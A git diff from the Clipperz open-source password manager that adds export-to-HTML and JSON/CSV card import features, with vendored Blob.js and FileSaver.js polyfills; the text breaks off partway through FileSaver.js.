return '<html><head><title>' + title + '</title><style type="text/css">' + style + '</style></head><body>' + MochiKit.DOM.toHTML(body) + '</body></html>';
|
||||||
|
},
|
||||||
|
|
||||||
|
//----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
'saveResult': function (exportedJSON) {
|
||||||
|
var blob;
|
||||||
|
var sortedJSON;
|
||||||
|
|
||||||
|
sortedJSON = MochiKit.Iter.sorted(exportedJSON, function(a,b) { return a.label.toUpperCase().localeCompare(b.label.toUpperCase()); } );
|
||||||
|
|
||||||
|
blob = new Blob([this.renderToHtml(sortedJSON)], {type: "text/html;charset=utf-8"});
|
||||||
|
saveAs(blob, "clipperz_data.html");
|
||||||
|
},
|
||||||
|
|
||||||
|
//=============================================================================
|
||||||
|
|
||||||
|
'run': function () {
|
||||||
|
var deferredResult;
|
||||||
|
var self = this;
|
||||||
|
|
||||||
|
deferredResult = new Clipperz.Async.Deferred("ExportController.run", {trace:false});
|
||||||
|
deferredResult.addCallback(MochiKit.Base.map, function(recordIn) {
|
||||||
|
var innerDeferredResult;
|
||||||
|
|
||||||
|
innerDeferredResult = new Clipperz.Async.Deferred("ExportController.run__exportRecord", {trace:false});
|
||||||
|
innerDeferredResult.addMethod(recordIn._rowObject, 'export');
|
||||||
|
innerDeferredResult.addMethod(self, 'reportRecordExport');
|
||||||
|
innerDeferredResult.callback();
|
||||||
|
|
||||||
|
return innerDeferredResult;
|
||||||
|
});
|
||||||
|
deferredResult.addCallback(Clipperz.Async.collectAll);
|
||||||
|
deferredResult.addMethod(this, 'saveResult');
|
||||||
|
deferredResult.callback(this.recordsInfo());
|
||||||
|
|
||||||
|
return deferredResult;
|
||||||
|
},
|
||||||
|
|
||||||
|
//=============================================================================
|
||||||
|
__syntaxFix__: "syntax fix"
|
||||||
|
});
|
148
frontend/delta/js/Clipperz/PM/UI/ImportContext.js
Normal file
148
frontend/delta/js/Clipperz/PM/UI/ImportContext.js
Normal file
@ -0,0 +1,148 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI');
|
||||||
|
|
||||||
|
Clipperz.PM.UI.ImportContext = function(args) {
|
||||||
|
|
||||||
|
this.inputString = null;
|
||||||
|
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
MochiKit.Base.update(Clipperz.PM.UI.ImportContext.prototype, {
|
||||||
|
|
||||||
|
'toString': function() {
|
||||||
|
return "Clipperz.PM.UI.ImportContext";
|
||||||
|
},
|
||||||
|
|
||||||
|
//=============================================================================
|
||||||
|
|
||||||
|
'resetContext': function() {
|
||||||
|
delete this.inputString;
|
||||||
|
delete this.format;
|
||||||
|
delete this.jsonToImport;
|
||||||
|
delete this.recordsToImport;
|
||||||
|
},
|
||||||
|
|
||||||
|
'getInitialJsonContext': function(aJsonList) {
|
||||||
|
return {
|
||||||
|
'format': 'json',
|
||||||
|
'jsonToImport': aJsonList,
|
||||||
|
'recordsToImport': aJsonList.map(function(d){return d._importId})
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
'getInitialCsvContext': function(aCsvTable) {
|
||||||
|
var result;
|
||||||
|
var nColumns;
|
||||||
|
var defaultSelectedColumns;
|
||||||
|
var defaultHiddenColumns;
|
||||||
|
var defaultColumnLabels;
|
||||||
|
var columnLabelsFirstrow;
|
||||||
|
var i;
|
||||||
|
|
||||||
|
nColumns = aCsvTable[0].length;
|
||||||
|
|
||||||
|
defaultSelectedColumns = {};
|
||||||
|
defaultHiddenColumns = {};
|
||||||
|
defaultColumnLabels = {};
|
||||||
|
columnLabelsFirstrow = {};
|
||||||
|
for (i=0; i<nColumns; i++) {
|
||||||
|
defaultSelectedColumns[i] = true;
|
||||||
|
defaultHiddenColumns[i] = false;
|
||||||
|
defaultColumnLabels[i] = "";
|
||||||
|
columnLabelsFirstrow[i] = aCsvTable[0][i];
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
'format': 'csv',
|
||||||
|
'parsedCsv': aCsvTable,
|
||||||
|
'nColumns': nColumns,
|
||||||
|
'selectedColumns': defaultSelectedColumns,
|
||||||
|
'firstRowAsLabels': false,
|
||||||
|
'columnLabels': defaultColumnLabels,
|
||||||
|
'columnLabelsFirstrow': columnLabelsFirstrow,
|
||||||
|
'titlesColumn': null,
|
||||||
|
'notesColumn': null,
|
||||||
|
'hiddenColumns': defaultHiddenColumns,
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
'getCsvLabels': function() {
|
||||||
|
return (this.firstRowAsLabels) ? this.columnLabelsFirstrow : this.columnLabels;
|
||||||
|
},
|
||||||
|
|
||||||
|
'processCsv': function() {
|
||||||
|
var jsonToImport;
|
||||||
|
var recordsToImport;
|
||||||
|
var columnLabels = this.getCsvLabels();
|
||||||
|
|
||||||
|
jsonToImport = [];
|
||||||
|
|
||||||
|
for (rowCount=0; rowCount<this.parsedCsv.length; rowCount++) {
|
||||||
|
var rowCount,cellCount;
|
||||||
|
|
||||||
|
if (rowCount != 0 || ! this.firstRowAsLabels) {
|
||||||
|
var record;
|
||||||
|
|
||||||
|
record = {};
|
||||||
|
record._importId = rowCount;
|
||||||
|
record.label = this.parsedCsv[rowCount][this.titlesColumn];
|
||||||
|
record.data = {'notes': ""};
|
||||||
|
record.currentVersion = {'fields': {}};
|
||||||
|
|
||||||
|
for (cellCount=0; cellCount<this.parsedCsv[rowCount].length; cellCount++) {
|
||||||
|
if (this.selectedColumns[cellCount] && cellCount != this.notesColumn && cellCount != this.titlesColumn) {
|
||||||
|
var fieldKey = rowCount+"-"+cellCount;
|
||||||
|
var field = {
|
||||||
|
'label': columnLabels[cellCount],
|
||||||
|
'value': this.parsedCsv[rowCount][cellCount],
|
||||||
|
'hidden': this.hiddenColumns[cellCount]
|
||||||
|
};
|
||||||
|
record.currentVersion.fields[fieldKey] = field;
|
||||||
|
} else if (cellCount == this.notesColumn) {
|
||||||
|
record.data.notes = this.parsedCsv[rowCount][cellCount];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
jsonToImport.push(record);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (typeof(this.recordsToImport) == 'undefined') {
|
||||||
|
recordsToImport = MochiKit.Base.map(function(r){return r._importId},jsonToImport);
|
||||||
|
} else {
|
||||||
|
recordsToImport = this.recordsToImport;
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
'jsonToImport': jsonToImport,
|
||||||
|
'recordsToImport': recordsToImport
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
//=============================================================================
|
||||||
|
__syntaxFix__: "syntax fix"
|
||||||
|
});
|
@ -63,6 +63,10 @@ Clipperz.PM.UI.MainController = function() {
|
|||||||
this.registerForNotificationCenterEvents([
|
this.registerForNotificationCenterEvents([
|
||||||
'doLogin', 'registerNewUser', 'showRegistrationForm', 'goBack',
|
'doLogin', 'registerNewUser', 'showRegistrationForm', 'goBack',
|
||||||
'changePassphrase', 'deleteAccount',
|
'changePassphrase', 'deleteAccount',
|
||||||
|
// 'export',
|
||||||
|
'importCards',
|
||||||
|
'downloadExport',
|
||||||
|
'updateProgress',
|
||||||
'toggleSelectionPanel', 'toggleSettingsPanel',
|
'toggleSelectionPanel', 'toggleSettingsPanel',
|
||||||
'matchMediaQuery', 'unmatchMediaQuery',
|
'matchMediaQuery', 'unmatchMediaQuery',
|
||||||
'selectAllCards', 'selectRecentCards', 'search', 'tagSelected', 'selectUntaggedCards',
|
'selectAllCards', 'selectRecentCards', 'search', 'tagSelected', 'selectUntaggedCards',
|
||||||
@ -105,6 +109,10 @@ MochiKit.Base.update(Clipperz.PM.UI.MainController.prototype, {
|
|||||||
return this._overlay;
|
return this._overlay;
|
||||||
},
|
},
|
||||||
|
|
||||||
|
updateProgress_handler: function (aProgressPercentage) {
|
||||||
|
this.overlay().updateProgress(aProgressPercentage);
|
||||||
|
},
|
||||||
|
|
||||||
loginForm: function () {
|
loginForm: function () {
|
||||||
return this._loginForm;
|
return this._loginForm;
|
||||||
},
|
},
|
||||||
@ -499,6 +507,9 @@ console.log("THE BROWSER IS OFFLINE");
|
|||||||
|
|
||||||
deferredResult = new Clipperz.Async.Deferred('MainController.updateSelectedCard', {trace:false});
|
deferredResult = new Clipperz.Async.Deferred('MainController.updateSelectedCard', {trace:false});
|
||||||
deferredResult.addMethod(this.user(), 'getRecord', someInfo['reference']);
|
deferredResult.addMethod(this.user(), 'getRecord', someInfo['reference']);
|
||||||
|
|
||||||
|
// deferredResult.addMethod(this, function(d) {console.log(d); return d;});
|
||||||
|
|
||||||
deferredResult.addMethod(this, 'collectRecordInfo');
|
deferredResult.addMethod(this, 'collectRecordInfo');
|
||||||
|
|
||||||
deferredResult.addMethod(this, 'setPageProperties', 'mainPage', 'selectedCard');
|
deferredResult.addMethod(this, 'setPageProperties', 'mainPage', 'selectedCard');
|
||||||
@ -1236,6 +1247,28 @@ console.log("THE BROWSER IS OFFLINE");
|
|||||||
|
|
||||||
//----------------------------------------------------------------------------
|
//----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// export_handler: function(exportType) {
|
||||||
|
// return Clipperz.PM.UI.ExportController.exportJSON( this.recordsInfo(), exportType );
|
||||||
|
// },
|
||||||
|
|
||||||
|
downloadExport_handler: function () {
|
||||||
|
var exportController;
|
||||||
|
var deferredResult;
|
||||||
|
|
||||||
|
exportController = new Clipperz.PM.UI.ExportController({'recordsInfo': this.recordsInfo()});
|
||||||
|
|
||||||
|
deferredResult = new Clipperz.Async.Deferred("MainController.downloadExport_handler", {trace: false});
|
||||||
|
deferredResult.addMethod(this.overlay(), 'show', "exporting …", true, true);
|
||||||
|
// deferredResult.addCallback(MochiKit.Signal.signal, Clipperz.Signal.NotificationCenter, 'toggleSettingsPanel');
|
||||||
|
deferredResult.addMethod(exportController, 'run');
|
||||||
|
deferredResult.addMethod(this.overlay(), 'done', "", 1);
|
||||||
|
deferredResult.callback();
|
||||||
|
|
||||||
|
return deferredResult;
|
||||||
|
},
|
||||||
|
|
||||||
|
//----------------------------------------------------------------------------
|
||||||
|
|
||||||
changePassphrase_handler: function(newPassphrase) {
|
changePassphrase_handler: function(newPassphrase) {
|
||||||
var currentPage = this.pages()[this.currentPage()];
|
var currentPage = this.pages()[this.currentPage()];
|
||||||
var deferredResult;
|
var deferredResult;
|
||||||
@ -1281,6 +1314,31 @@ console.log("THE BROWSER IS OFFLINE");
|
|||||||
return deferredResult;
|
return deferredResult;
|
||||||
},
|
},
|
||||||
|
|
||||||
|
importCards_handler: function(data) {
|
||||||
|
return Clipperz.Async.callbacks("MainController.importCards_handler", [
|
||||||
|
MochiKit.Base.method(this.overlay(), 'show', "importing …", true),
|
||||||
|
function() { return data; },
|
||||||
|
MochiKit.Base.partial(MochiKit.Base.map, MochiKit.Base.method(this, function(recordData) {
|
||||||
|
var newRecord;
|
||||||
|
// I have the feeling this should be done in a more elegant way
|
||||||
|
return Clipperz.Async.callbacks("MainController.importCards_handler-newRecord", [
|
||||||
|
MochiKit.Base.method(this.user(), 'createNewRecord'),
|
||||||
|
function (aValue) {
|
||||||
|
newRecord = aValue;
|
||||||
|
return newRecord;
|
||||||
|
},
|
||||||
|
MochiKit.Base.methodcaller('setUpWithJSON', recordData),
|
||||||
|
])
|
||||||
|
})),
|
||||||
|
Clipperz.Async.collectAll,
|
||||||
|
MochiKit.Base.method(this.user(), 'saveChanges'),
|
||||||
|
MochiKit.Base.partial(MochiKit.Base.method(this, 'resetRecordsInfo')),
|
||||||
|
MochiKit.Base.partial(MochiKit.Base.method(this, 'refreshUI', null)),
|
||||||
|
MochiKit.Base.method(this.overlay(), 'done', "finished", 1),
|
||||||
|
MochiKit.Base.method(this.pages()[this.currentPage()], 'setProps', {'mode':'view', 'showGlobalMask':false}),
|
||||||
|
], {trace:false});
|
||||||
|
},
|
||||||
|
|
||||||
//----------------------------------------------------------------------------
|
//----------------------------------------------------------------------------
|
||||||
|
|
||||||
saveChanges: function () {
|
saveChanges: function () {
|
||||||
|
234
frontend/delta/js/FileSaver/Blob.js
Normal file
234
frontend/delta/js/FileSaver/Blob.js
Normal file
@ -0,0 +1,234 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Blob.js
|
||||||
|
* A Blob implementation.
|
||||||
|
* 2014-07-24
|
||||||
|
*
|
||||||
|
* By Eli Grey, http://eligrey.com
|
||||||
|
* By Devin Samarin, https://github.com/dsamarin
|
||||||
|
* License: X11/MIT
|
||||||
|
* See https://github.com/eligrey/Blob.js/blob/master/LICENSE.md
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*global self, unescape */
|
||||||
|
/*jslint bitwise: true, regexp: true, confusion: true, es5: true, vars: true, white: true,
|
||||||
|
plusplus: true */
|
||||||
|
|
||||||
|
/*! @source http://purl.eligrey.com/github/Blob.js/blob/master/Blob.js */
|
||||||
|
|
||||||
|
(function (view) {
|
||||||
|
"use strict";
|
||||||
|
|
||||||
|
view.URL = view.URL || view.webkitURL;
|
||||||
|
|
||||||
|
if (view.Blob && view.URL) {
|
||||||
|
try {
|
||||||
|
new Blob;
|
||||||
|
return;
|
||||||
|
} catch (e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Internally we use a BlobBuilder implementation to base Blob off of
|
||||||
|
// in order to support older browsers that only have BlobBuilder
|
||||||
|
var BlobBuilder = view.BlobBuilder || view.WebKitBlobBuilder || view.MozBlobBuilder || (function(view) {
|
||||||
|
var
|
||||||
|
get_class = function(object) {
|
||||||
|
return Object.prototype.toString.call(object).match(/^\[object\s(.*)\]$/)[1];
|
||||||
|
}
|
||||||
|
, FakeBlobBuilder = function BlobBuilder() {
|
||||||
|
this.data = [];
|
||||||
|
}
|
||||||
|
, FakeBlob = function Blob(data, type, encoding) {
|
||||||
|
this.data = data;
|
||||||
|
this.size = data.length;
|
||||||
|
this.type = type;
|
||||||
|
this.encoding = encoding;
|
||||||
|
}
|
||||||
|
, FBB_proto = FakeBlobBuilder.prototype
|
||||||
|
, FB_proto = FakeBlob.prototype
|
||||||
|
, FileReaderSync = view.FileReaderSync
|
||||||
|
, FileException = function(type) {
|
||||||
|
this.code = this[this.name = type];
|
||||||
|
}
|
||||||
|
, file_ex_codes = (
|
||||||
|
"NOT_FOUND_ERR SECURITY_ERR ABORT_ERR NOT_READABLE_ERR ENCODING_ERR "
|
||||||
|
+ "NO_MODIFICATION_ALLOWED_ERR INVALID_STATE_ERR SYNTAX_ERR"
|
||||||
|
).split(" ")
|
||||||
|
, file_ex_code = file_ex_codes.length
|
||||||
|
, real_URL = view.URL || view.webkitURL || view
|
||||||
|
, real_create_object_URL = real_URL.createObjectURL
|
||||||
|
, real_revoke_object_URL = real_URL.revokeObjectURL
|
||||||
|
, URL = real_URL
|
||||||
|
, btoa = view.btoa
|
||||||
|
, atob = view.atob
|
||||||
|
|
||||||
|
, ArrayBuffer = view.ArrayBuffer
|
||||||
|
, Uint8Array = view.Uint8Array
|
||||||
|
|
||||||
|
, origin = /^[\w-]+:\/*\[?[\w\.:-]+\]?(?::[0-9]+)?/
|
||||||
|
;
|
||||||
|
FakeBlob.fake = FB_proto.fake = true;
|
||||||
|
while (file_ex_code--) {
|
||||||
|
FileException.prototype[file_ex_codes[file_ex_code]] = file_ex_code + 1;
|
||||||
|
}
|
||||||
|
// Polyfill URL
|
||||||
|
if (!real_URL.createObjectURL) {
|
||||||
|
URL = view.URL = function(uri) {
|
||||||
|
var
|
||||||
|
uri_info = document.createElementNS("http://www.w3.org/1999/xhtml", "a")
|
||||||
|
, uri_origin
|
||||||
|
;
|
||||||
|
uri_info.href = uri;
|
||||||
|
if (!("origin" in uri_info)) {
|
||||||
|
if (uri_info.protocol.toLowerCase() === "data:") {
|
||||||
|
uri_info.origin = null;
|
||||||
|
} else {
|
||||||
|
uri_origin = uri.match(origin);
|
||||||
|
uri_info.origin = uri_origin && uri_origin[1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return uri_info;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
URL.createObjectURL = function(blob) {
|
||||||
|
var
|
||||||
|
type = blob.type
|
||||||
|
, data_URI_header
|
||||||
|
;
|
||||||
|
if (type === null) {
|
||||||
|
type = "application/octet-stream";
|
||||||
|
}
|
||||||
|
if (blob instanceof FakeBlob) {
|
||||||
|
data_URI_header = "data:" + type;
|
||||||
|
if (blob.encoding === "base64") {
|
||||||
|
return data_URI_header + ";base64," + blob.data;
|
||||||
|
} else if (blob.encoding === "URI") {
|
||||||
|
return data_URI_header + "," + decodeURIComponent(blob.data);
|
||||||
|
} if (btoa) {
|
||||||
|
return data_URI_header + ";base64," + btoa(blob.data);
|
||||||
|
} else {
|
||||||
|
return data_URI_header + "," + encodeURIComponent(blob.data);
|
||||||
|
}
|
||||||
|
} else if (real_create_object_URL) {
|
||||||
|
return real_create_object_URL.call(real_URL, blob);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
URL.revokeObjectURL = function(object_URL) {
|
||||||
|
if (object_URL.substring(0, 5) !== "data:" && real_revoke_object_URL) {
|
||||||
|
real_revoke_object_URL.call(real_URL, object_URL);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
FBB_proto.append = function(data/*, endings*/) {
|
||||||
|
var bb = this.data;
|
||||||
|
// decode data to a binary string
|
||||||
|
if (Uint8Array && (data instanceof ArrayBuffer || data instanceof Uint8Array)) {
|
||||||
|
var
|
||||||
|
str = ""
|
||||||
|
, buf = new Uint8Array(data)
|
||||||
|
, i = 0
|
||||||
|
, buf_len = buf.length
|
||||||
|
;
|
||||||
|
for (; i < buf_len; i++) {
|
||||||
|
str += String.fromCharCode(buf[i]);
|
||||||
|
}
|
||||||
|
bb.push(str);
|
||||||
|
} else if (get_class(data) === "Blob" || get_class(data) === "File") {
|
||||||
|
if (FileReaderSync) {
|
||||||
|
var fr = new FileReaderSync;
|
||||||
|
bb.push(fr.readAsBinaryString(data));
|
||||||
|
} else {
|
||||||
|
// async FileReader won't work as BlobBuilder is sync
|
||||||
|
throw new FileException("NOT_READABLE_ERR");
|
||||||
|
}
|
||||||
|
} else if (data instanceof FakeBlob) {
|
||||||
|
if (data.encoding === "base64" && atob) {
|
||||||
|
bb.push(atob(data.data));
|
||||||
|
} else if (data.encoding === "URI") {
|
||||||
|
bb.push(decodeURIComponent(data.data));
|
||||||
|
} else if (data.encoding === "raw") {
|
||||||
|
bb.push(data.data);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (typeof data !== "string") {
|
||||||
|
data += ""; // convert unsupported types to strings
|
||||||
|
}
|
||||||
|
// decode UTF-16 to binary string
|
||||||
|
bb.push(unescape(encodeURIComponent(data)));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
FBB_proto.getBlob = function(type) {
|
||||||
|
if (!arguments.length) {
|
||||||
|
type = null;
|
||||||
|
}
|
||||||
|
return new FakeBlob(this.data.join(""), type, "raw");
|
||||||
|
};
|
||||||
|
FBB_proto.toString = function() {
|
||||||
|
return "[object BlobBuilder]";
|
||||||
|
};
|
||||||
|
FB_proto.slice = function(start, end, type) {
|
||||||
|
var args = arguments.length;
|
||||||
|
if (args < 3) {
|
||||||
|
type = null;
|
||||||
|
}
|
||||||
|
return new FakeBlob(
|
||||||
|
this.data.slice(start, args > 1 ? end : this.data.length)
|
||||||
|
, type
|
||||||
|
, this.encoding
|
||||||
|
);
|
||||||
|
};
|
||||||
|
FB_proto.toString = function() {
|
||||||
|
return "[object Blob]";
|
||||||
|
};
|
||||||
|
FB_proto.close = function() {
|
||||||
|
this.size = 0;
|
||||||
|
delete this.data;
|
||||||
|
};
|
||||||
|
return FakeBlobBuilder;
|
||||||
|
}(view));
|
||||||
|
|
||||||
|
view.Blob = function(blobParts, options) {
|
||||||
|
var type = options ? (options.type || "") : "";
|
||||||
|
var builder = new BlobBuilder();
|
||||||
|
if (blobParts) {
|
||||||
|
for (var i = 0, len = blobParts.length; i < len; i++) {
|
||||||
|
if (Uint8Array && blobParts[i] instanceof Uint8Array) {
|
||||||
|
builder.append(blobParts[i].buffer);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
builder.append(blobParts[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var blob = builder.getBlob(type);
|
||||||
|
if (!blob.slice && blob.webkitSlice) {
|
||||||
|
blob.slice = blob.webkitSlice;
|
||||||
|
}
|
||||||
|
return blob;
|
||||||
|
};
|
||||||
|
|
||||||
|
var getPrototypeOf = Object.getPrototypeOf || function(object) {
|
||||||
|
return object.__proto__;
|
||||||
|
};
|
||||||
|
view.Blob.prototype = getPrototypeOf(new view.Blob());
|
||||||
|
}(typeof self !== "undefined" && self || typeof window !== "undefined" && window || this.content || this));
|
271
frontend/delta/js/FileSaver/FileSaver.js
Normal file
271
frontend/delta/js/FileSaver/FileSaver.js
Normal file
@ -0,0 +1,271 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* FileSaver.js
|
||||||
|
* A saveAs() FileSaver implementation.
|
||||||
|
* 2015-03-04
|
||||||
|
*
|
||||||
|
* By Eli Grey, http://eligrey.com
|
||||||
|
* License: X11/MIT
|
||||||
|
* See https://github.com/eligrey/FileSaver.js/blob/master/LICENSE.md
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*global self */
|
||||||
|
/*jslint bitwise: true, indent: 4, laxbreak: true, laxcomma: true, smarttabs: true, plusplus: true */
|
||||||
|
|
||||||
|
/*! @source http://purl.eligrey.com/github/FileSaver.js/blob/master/FileSaver.js */
|
||||||
|
|
||||||
|
var saveAs = saveAs
|
||||||
|
// IE 10+ (native saveAs)
|
||||||
|
|| (typeof navigator !== "undefined" &&
|
||||||
|
navigator.msSaveOrOpenBlob && navigator.msSaveOrOpenBlob.bind(navigator))
|
||||||
|
// Everyone else
|
||||||
|
|| (function(view) {
|
||||||
|
"use strict";
|
||||||
|
// IE <10 is explicitly unsupported
|
||||||
|
if (typeof navigator !== "undefined" &&
|
||||||
|
/MSIE [1-9]\./.test(navigator.userAgent)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var
|
||||||
|
doc = view.document
|
||||||
|
// only get URL when necessary in case Blob.js hasn't overridden it yet
|
||||||
|
, get_URL = function() {
|
||||||
|
return view.URL || view.webkitURL || view;
|
||||||
|
}
|
||||||
|
, save_link = doc.createElementNS("http://www.w3.org/1999/xhtml", "a")
|
||||||
|
, can_use_save_link = "download" in save_link
|
||||||
|
, click = function(node) {
|
||||||
|
var event = doc.createEvent("MouseEvents");
|
||||||
|
event.initMouseEvent(
|
||||||
|
"click", true, false, view, 0, 0, 0, 0, 0
|
||||||
|
, false, false, false, false, 0, null
|
||||||
|
);
|
||||||
|
node.dispatchEvent(event);
|
||||||
|
}
|
||||||
|
, webkit_req_fs = view.webkitRequestFileSystem
|
||||||
|
, req_fs = view.requestFileSystem || webkit_req_fs || view.mozRequestFileSystem
|
||||||
|
, throw_outside = function(ex) {
|
||||||
|
(view.setImmediate || view.setTimeout)(function() {
|
||||||
|
throw ex;
|
||||||
|
}, 0);
|
||||||
|
}
|
||||||
|
, force_saveable_type = "application/octet-stream"
|
||||||
|
, fs_min_size = 0
|
||||||
|
// See https://code.google.com/p/chromium/issues/detail?id=375297#c7 and
|
||||||
|
// https://github.com/eligrey/FileSaver.js/commit/485930a#commitcomment-8768047
|
||||||
|
// for the reasoning behind the timeout and revocation flow
|
||||||
|
, arbitrary_revoke_timeout = 500 // in ms
|
||||||
|
, revoke = function(file) {
|
||||||
|
var revoker = function() {
|
||||||
|
if (typeof file === "string") { // file is an object URL
|
||||||
|
get_URL().revokeObjectURL(file);
|
||||||
|
} else { // file is a File
|
||||||
|
file.remove();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
if (view.chrome) {
|
||||||
|
revoker();
|
||||||
|
} else {
|
||||||
|
setTimeout(revoker, arbitrary_revoke_timeout);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
, dispatch = function(filesaver, event_types, event) {
|
||||||
|
event_types = [].concat(event_types);
|
||||||
|
var i = event_types.length;
|
||||||
|
while (i--) {
|
||||||
|
var listener = filesaver["on" + event_types[i]];
|
||||||
|
if (typeof listener === "function") {
|
||||||
|
try {
|
||||||
|
listener.call(filesaver, event || filesaver);
|
||||||
|
} catch (ex) {
|
||||||
|
throw_outside(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
, FileSaver = function(blob, name) {
|
||||||
|
// First try a.download, then web filesystem, then object URLs
|
||||||
|
var
|
||||||
|
filesaver = this
|
||||||
|
, type = blob.type
|
||||||
|
, blob_changed = false
|
||||||
|
, object_url
|
||||||
|
, target_view
|
||||||
|
, dispatch_all = function() {
|
||||||
|
dispatch(filesaver, "writestart progress write writeend".split(" "));
|
||||||
|
}
|
||||||
|
// on any filesys errors revert to saving with object URLs
|
||||||
|
, fs_error = function() {
|
||||||
|
// don't create more object URLs than needed
|
||||||
|
if (blob_changed || !object_url) {
|
||||||
|
object_url = get_URL().createObjectURL(blob);
|
||||||
|
}
|
||||||
|
if (target_view) {
|
||||||
|
target_view.location.href = object_url;
|
||||||
|
} else {
|
||||||
|
var new_tab = view.open(object_url, "_blank");
|
||||||
|
if (new_tab == undefined && typeof safari !== "undefined") {
|
||||||
|
//Apple do not allow window.open, see http://bit.ly/1kZffRI
|
||||||
|
view.location.href = object_url
|
||||||
|
}
|
||||||
|
}
|
||||||
|
filesaver.readyState = filesaver.DONE;
|
||||||
|
dispatch_all();
|
||||||
|
revoke(object_url);
|
||||||
|
}
|
||||||
|
, abortable = function(func) {
|
||||||
|
return function() {
|
||||||
|
if (filesaver.readyState !== filesaver.DONE) {
|
||||||
|
return func.apply(this, arguments);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
, create_if_not_found = {create: true, exclusive: false}
|
||||||
|
, slice
|
||||||
|
;
|
||||||
|
filesaver.readyState = filesaver.INIT;
|
||||||
|
if (!name) {
|
||||||
|
name = "download";
|
||||||
|
}
|
||||||
|
if (can_use_save_link) {
|
||||||
|
object_url = get_URL().createObjectURL(blob);
|
||||||
|
save_link.href = object_url;
|
||||||
|
save_link.download = name;
|
||||||
|
click(save_link);
|
||||||
|
filesaver.readyState = filesaver.DONE;
|
||||||
|
dispatch_all();
|
||||||
|
revoke(object_url);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// prepend BOM for UTF-8 XML and text/plain types
|
||||||
|
if (/^\s*(?:text\/(?:plain|xml)|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(blob.type)) {
|
||||||
|
blob = new Blob(["\ufeff", blob], {type: blob.type});
|
||||||
|
}
|
||||||
|
// Object and web filesystem URLs have a problem saving in Google Chrome when
|
||||||
|
// viewed in a tab, so I force save with application/octet-stream
|
||||||
|
// http://code.google.com/p/chromium/issues/detail?id=91158
|
||||||
|
